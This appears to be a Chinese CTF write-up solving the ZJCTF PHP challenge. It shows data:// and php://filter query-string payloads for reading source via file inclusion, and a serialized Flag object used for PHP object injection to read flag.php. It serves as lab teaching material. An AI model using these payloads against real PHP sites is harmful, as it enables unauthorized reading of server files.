![](https://i-blog.csdnimg.cn/blog_migrate/6d58683bb264804069223f3ce09b2a0c.png)
?text=data://text/plain,"welcome to the zjctf"
![](https://i-blog.csdnimg.cn/blog_migrate/f604d41be7618ed20c4caa13206add1c.png)
?text=data://text/plain,welcome to the zjctf&file=useless.php
没反应,尝试看源码
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
![](https://i-blog.csdnimg.cn/blog_migrate/c6bce4501d94d6013c64716499ad0701.png)
解码后:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
__toString(),类被当成字符串时的回应方法
参考:PHP中 __toString()方法详解-php教程-PHP中文网
利用echo $password触发__toString读取并打印file参数(flag.php)
序列化:
<?php
class Flag{
public $file = "flag.php";
}
$a = new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
![](https://i-blog.csdnimg.cn/blog_migrate/15a6b5852f3f21ba405370b078bafc24.png)
看源码
![](https://i-blog.csdnimg.cn/blog_migrate/f5676a621e0851529c1c398e123ade5d.png)